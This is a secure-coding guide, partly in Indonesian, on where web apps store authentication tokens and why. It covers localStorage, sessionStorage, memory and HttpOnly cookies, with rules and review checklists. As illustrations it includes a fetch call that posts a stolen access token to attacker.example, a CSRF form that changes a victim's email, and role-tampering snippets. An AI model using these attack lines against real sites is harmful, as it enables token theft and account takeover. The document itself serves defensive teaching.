localStorage.setItem("token", token);

document.cookie = `token=${token}`;

Token disimpan di mana?

Credential apa yang bisa dilihat JavaScript?
Credential apa yang dikirim otomatis oleh browser?
Credential apa yang bertahan setelah reload?
Credential apa yang ikut ke semua tab?
Credential apa yang masih hidup setelah user logout di tab lain?
Credential apa yang bisa dicuri oleh XSS?
Credential apa yang bisa disalahgunakan oleh CSRF?
Credential apa yang bisa dibersihkan secara deterministik?

Apa yang masih tersedia di browser saat ini?

Apakah user masih boleh mengakses resource ini?

Do not store sensitive authentication material in JS-readable persistent storage.

- refresh token
- long-lived access token
- session id
- raw ID token yang berisi sensitive claims
- permission snapshot yang dianggap authority
- tenant membership snapshot yang dianggap final
- MFA bypass marker
- impersonation credential
- recovery token
- invite token yang belum expired
- password reset token

- non-sensitive UI preference
- last selected tenant id, sebagai hint saja
- last visited route, setelah divalidasi sebagai internal URL
- cached non-sensitive public metadata
- feature UI cache yang tidak memberi akses sendiri
- short-lived in-memory access token dalam model tertentu

localStorage.setItem("access_token", token);
const token = localStorage.getItem("access_token");

Siapa pun yang memegang bearer token dapat menggunakannya.

fetch("https://attacker.example/steal", {
  method: "POST",
  body: localStorage.getItem("access_token")
});

https://app.example.com/admin
https://app.example.com/marketing-widget
https://app.example.com/legacy-page

localStorage.setItem("theme", "dark");
localStorage.setItem("sidebarCollapsed", "true");
localStorage.setItem("lastTenantHint", tenantId);

const tenantHint = localStorage.getItem("lastTenantHint");
const session = await fetchSession();

const selectedTenant = session.tenants.some(t => t.id === tenantHint)
  ? tenantHint
  : session.defaultTenantId;

// Bad: localStorage decides tenant authority.
const tenantId = localStorage.getItem("tenantId");
api.defaults.headers["X-Tenant-Id"] = tenantId!;

// Bad: long-lived bearer token in persistent JS-readable storage.
localStorage.setItem("token", accessToken);

// Bad: refresh token in localStorage.
localStorage.setItem("refresh_token", refreshToken);

// Bad: role snapshot as authority.
localStorage.setItem("role", "admin");

// Bad: permission used without server validation.
const canApprove = localStorage.getItem("canApprove") === "true";

// Bad: impersonation state stored as client authority.
localStorage.setItem("impersonatingUserId", targetUserId);

sessionStorage.setItem("postLoginReturnUrl", "/cases/123");
const returnUrl = sessionStorage.getItem("postLoginReturnUrl");

sessionStorage mengurangi persistence risk, bukan menghilangkan XSS risk.

- post-login return path, setelah validasi internal URL
- OAuth transaction id reference, jika value tidak cukup untuk bypass server check
- UI wizard progress yang non-sensitive
- temporary form state yang tidak rahasia
- tab-local selected item

function safeInternalPath(raw: string | null): string {
  if (!raw) return "/";

  try {
    const url = new URL(raw, window.location.origin);

    if (url.origin !== window.location.origin) return "/";
    if (!url.pathname.startsWith("/")) return "/";
    if (url.pathname.startsWith("//")) return "/";

    return `${url.pathname}${url.search}${url.hash}`;
  } catch {
    return "/";
  }
}

// Bad: refresh token still readable by XSS.
sessionStorage.setItem("refresh_token", refreshToken);

// Bad: treating tab-local role as authority.
sessionStorage.setItem("role", user.role);

// Bad: storing sensitive form data longer than needed.
sessionStorage.setItem("ssn", form.ssn);

- state
- nonce
- code_verifier
- returnUrl

state/nonce/code_verifier adalah transaction material.
Bukan session credential jangka panjang.

sessionStorage.setItem(`oauth:${transactionId}:codeVerifier`, codeVerifier);

// After callback succeeds or fails:
sessionStorage.removeItem(`oauth:${transactionId}:codeVerifier`);

let accessToken: string | null = null;

export function setAccessToken(next: string | null) {
  accessToken = next;
}

export function getAccessToken() {
  return accessToken;
}

class AuthClient {
  private accessToken: string | null = null;

  setAccessToken(token: string | null) {
    this.accessToken = token;
  }

  async fetch(input: RequestInfo, init: RequestInit = {}) {
    const headers = new Headers(init.headers);

    if (this.accessToken) {
      headers.set("Authorization", `Bearer ${this.accessToken}`);
    }

    return fetch(input, { ...init, headers });
  }
}

It is less persistent, not magically safe.

fetch("/api/me", { credentials: "include" });

fetch("/api/payments/123/approve", {
  method: "POST",
  credentials: "include",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ approve: true })
});

Set-Cookie: __Host-session=abc123; Path=/; Secure; HttpOnly; SameSite=Lax

Cookie: __Host-session=abc123

await fetch("/api/me", {
  credentials: "include"
});

XSS tidak mudah mengekstrak session id sebagai string.

HttpOnly mengurangi token theft.
HttpOnly tidak mencegah request berbahaya dibuat dari browser user.

Readable by JS + automatically sent by browser = XSS theft + CSRF-like automatic credential behavior.

- UI locale
- non-sensitive preference
- CSRF token dalam double-submit pattern, jika desainnya tepat

Set-Cookie: __Host-session=<opaque>; Path=/; Secure; HttpOnly; SameSite=Lax

- Secure
- Path=/
- no Domain attribute
- set from secure origin

- offline support
- service worker
- Workbox
- TanStack Query persistence
- Apollo cache persistence
- local-first apps
- PWA installable apps

Persistent JS-readable storage is not a safe place for sensitive auth material.

- full user profile with sensitive claims
- permission graph lengkap
- case data regulated
- downloaded documents
- signed URLs
- access token/refresh token

// Service worker caches authenticated API response without user/session partition.
caches.open("api-cache").then(cache => cache.put(request, response));

Authenticated cache must be session-scoped, user-scoped, tenant-scoped, expiry-aware, and purgeable on logout.

Do not persist authenticated API response client-side unless there is a reviewed requirement.

Apa yang harus ditulis ke storage?
Apa yang harus dihapus dari storage?
Apa yang harus dipropagasikan ke tab lain?
Apa yang harus diinvalidate di query cache?
Apa yang harus dicatat di audit/telemetry?

- establish server session / receive token according to architecture
- fetch session view from /me or /session
- initialize permission cache
- clear stale anonymous route intent
- validate tenant selection
- emit auth event

localStorage.setItem("role", response.user.role);
localStorage.setItem("permissions", JSON.stringify(response.permissions));

authStore.setSession({
  user: response.user,
  tenants: response.tenants,
  permissions: response.permissions,
  issuedAt: Date.now()
});

async function logout() {
  try {
    await fetch("/auth/logout", {
      method: "POST",
      credentials: "include",
      headers: { "X-CSRF-Token": csrfTokenStore.get() }
    });
  } finally {
    authStore.clear();
    queryClient.clear();
    sessionStorage.clear(); // only if app owns all keys or use scoped clear
    localStorage.removeItem("lastTenantHint");
    broadcastAuthEvent({ type: "LOGOUT" });
    router.navigate("/login", { replace: true });
  }
}

const AUTH_PREFIX = "auth:";

function clearAuthLocalStorage() {
  for (const key of Object.keys(localStorage)) {
    if (key.startsWith(AUTH_PREFIX)) {
      localStorage.removeItem(key);
    }
  }
}

- show re-login state
- preserve safe return intent
- clear sensitive cache
- avoid repeated refresh loop
- stop background polling
- close realtime channels

function onSessionExpired() {
  authStore.transition({ type: "SESSION_EXPIRED" });
  queryClient.clear();
  realtime.close("session-expired");
  router.navigate("/login?reason=expired", { replace: true });
}

Session valid, capability changed.

HTTP/1.1 403 Forbidden
Content-Type: application/json

{
  "code": "PERMISSION_REVOKED",
  "resource": "case:123",
  "action": "approve",
  "refreshPermissions": true
}

if (error.code === "PERMISSION_REVOKED") {
  permissionCache.invalidate();
  await authClient.refetchPermissions();
  showAccessChangedMessage();
}

- tab dashboard,
- tab admin console,
- tab case detail,
- tab report export,
- tab old route setelah laptop sleep.

function broadcastLogout() {
  localStorage.setItem("auth:event", JSON.stringify({
    type: "LOGOUT",
    at: Date.now(),
    id: crypto.randomUUID()
  }));
}

window.addEventListener("storage", (event) => {
  if (event.key !== "auth:event" || !event.newValue) return;

  const message = JSON.parse(event.newValue);

  if (message.type === "LOGOUT") {
    authStore.clear();
    queryClient.clear();
    router.navigate("/login", { replace: true });
  }
});

const channel = new BroadcastChannel("auth");

channel.postMessage({ type: "LOGOUT", at: Date.now() });

channel.onmessage = (event) => {
  if (event.data?.type === "LOGOUT") {
    authStore.clear();
  }
};

Tab A refreshes token.
Tab B refreshes same old refresh token.
Auth server detects reuse.
Whole session may be revoked.

- single refresh lock,
- leader tab,
- BFF server-side refresh,
- retry after refreshed session visible,
- rotation-aware error handling.

const AuthContext = createContext({
  token: localStorage.getItem("token"),
  user: JSON.parse(localStorage.getItem("user")!),
  role: localStorage.getItem("role")
});

- state initialized from untrusted storage,
- no state machine,
- no expiry semantics,
- no refresh semantics,
- no permission invalidation,
- no logout propagation,
- no typed failures.

AuthClient     = talks to auth/session endpoints
AuthStore      = in-memory state machine
StorageAdapter = limited persistence for safe hints/transactions
Permission     = derived view from server contract
ReactProvider  = subscription bridge to React

type AuthState =
  | { status: "anonymous" }
  | { status: "bootstrapping" }
  | { status: "authenticated"; session: SessionView }
  | { status: "refreshing"; session: SessionView }
  | { status: "expired"; reason: "idle_timeout" | "absolute_timeout" | "refresh_failed" }
  | { status: "forbidden"; reason: string };

interface AuthStorage {
  getReturnPath(): string | null;
  setReturnPath(path: string): void;
  clearReturnPath(): void;

  getLastTenantHint(): string | null;
  setLastTenantHint(tenantId: string): void;
}

- getToken()
- setToken()
- getRole()
- setRole()
- setPermissions()

Use HttpOnly Secure SameSite cookie with server-side session or BFF.
Keep access/refresh tokens out of JavaScript-readable persistent storage.
Fetch session view through /session or /me.
Fetch permissions through explicit contract.
Use deny-by-default UI while session/permission state is unknown.

- lower token exfiltration risk,
- better revocation story,
- easier audit,
- better centralized policy enforcement,
- safer SSR/BFF compatibility,
- easier incident response.

- use Authorization Code + PKCE,
- keep access token short-lived,
- avoid localStorage refresh token,
- use memory where possible,
- design reload/bootstrap behavior explicitly,
- use refresh token rotation only with provider guidance,
- implement XSS hardening seriously,
- treat token theft as an incident scenario.

- no refresh token in localStorage,
- no role/permission from storage as authority,
- short access token lifetime,
- logout clears query/cache/session state,
- all mutations server-authorized,
- 401/403 handled distinctly,
- dangerous admin operations require server-side checks and audit.

[ ] Is the session credential readable by JavaScript?
[ ] If yes, why is that acceptable?
[ ] Is the credential bearer?
[ ] Can XSS exfiltrate it as a string?
[ ] Can browser extensions access it?

[ ] Does credential survive reload?
[ ] Does credential survive browser restart?
[ ] Does credential survive logout accidentally?
[ ] Is there explicit expiry?
[ ] Is stale permission cache invalidated?

[ ] Is credential sent automatically by browser?
[ ] If cookie-based, what is CSRF defense?
[ ] If header-based, where does token live?
[ ] Are CORS and credentials configured intentionally?

[ ] Is cookie Domain too broad?
[ ] Is cookie Path appropriate?
[ ] Is localStorage origin shared with legacy/marketing/third-party code?
[ ] Are subdomains trusted equally?

[ ] Does logout propagate to other tabs?
[ ] Does session expiry stop polling/realtime?
[ ] Is refresh coordinated across tabs?
[ ] What happens after laptop sleep?

[ ] Are authenticated responses persisted?
[ ] Are query caches cleared on logout?
[ ] Are tenant-scoped caches separated?
[ ] Are signed URLs cached?

[ ] Does server validate every sensitive action?
[ ] Does frontend permission only control exposure?
[ ] Can storage tampering grant access? It must not.

localStorage.setItem("role", "admin");

if (localStorage.getItem("role") === "admin") {
  showAdminPanel();
}

X-User-Role: admin

- role/permission comes from authenticated server session,
- client uses it only for UI exposure,
- API checks server-side subject/action/resource/context,
- client storage tampering changes nothing server-side.

- no long-lived token in localStorage,
- sanitize markdown/HTML,
- CSP,
- short token lifetime,
- token rotation/revocation,
- audit abnormal token use.

<form action="https://app.example.com/api/email/change" method="POST">
  <input name="email" value="attacker@example.com" />
</form>

- SameSite appropriately configured,
- CSRF token for state-changing operations,
- Origin/Referer verification where applicable,
- JSON/content-type strategy is not sole defense,
- server rejects missing/invalid CSRF proof.

- clear query cache on logout,
- use user/session-specific persister key,
- avoid persisting sensitive data by default,
- encrypting client cache is not enough if key is client-accessible,
- server-controlled cache headers.

Rule 1: Do not store refresh tokens in localStorage.
Rule 2: Do not store roles/permissions as authority in any browser storage.
Rule 3: Prefer HttpOnly Secure SameSite cookies for session ids in BFF/server-session architectures.
Rule 4: If access tokens must be in browser JS, keep them short-lived and preferably in memory.
Rule 5: Treat localStorage as preference storage, not security storage.
Rule 6: Treat sessionStorage as transaction storage, not high-trust storage.
Rule 7: Clear query/cache/realtime state on logout/session expiry.
Rule 8: Multi-tab auth is part of the design, not an afterthought.
Rule 9: Browser storage may optimize UX; it must not create authorization.
Rule 10: Every storage decision must name its dominant threat.

const RETURN_PATH_KEY = "auth:returnPath";
const LAST_TENANT_HINT_KEY = "auth:lastTenantHint";

function safeInternalPath(raw: string | null): string | null {
  if (!raw) return null;

  try {
    const url = new URL(raw, window.location.origin);

    if (url.origin !== window.location.origin) return null;
    if (!url.pathname.startsWith("/")) return null;
    if (url.pathname.startsWith("//")) return null;

    return `${url.pathname}${url.search}${url.hash}`;
  } catch {
    return null;
  }
}

export const authStorage = {
  setReturnPath(path: string) {
    const safe = safeInternalPath(path);
    if (safe) sessionStorage.setItem(RETURN_PATH_KEY, safe);
  },

  consumeReturnPath() {
    const safe = safeInternalPath(sessionStorage.getItem(RETURN_PATH_KEY));
    sessionStorage.removeItem(RETURN_PATH_KEY);
    return safe ?? "/";
  },

  setLastTenantHint(tenantId: string) {
    // Still only a hint. Server must validate membership.
    localStorage.setItem(LAST_TENANT_HINT_KEY, tenantId);
  },

  getLastTenantHint() {
    return localStorage.getItem(LAST_TENANT_HINT_KEY);
  },

  clearAuthHints() {
    sessionStorage.removeItem(RETURN_PATH_KEY);
    localStorage.removeItem(LAST_TENANT_HINT_KEY);
  }
};

localStorage gives persistence and convenience, but high XSS blast radius.
sessionStorage gives tab-local transient storage, but is still JS-readable.
memory reduces persistence theft, but cannot stop XSS-as-user.
HttpOnly cookie hides credential from JS, but needs CSRF/session-riding defense.
IndexedDB/Cache API can silently persist sensitive data if not governed.

Who can read it?
Who sends it?
How long does it live?
How is it revoked?
What happens across tabs?
What happens during XSS?
What happens during CSRF?
What happens after logout?
What happens when permissions change?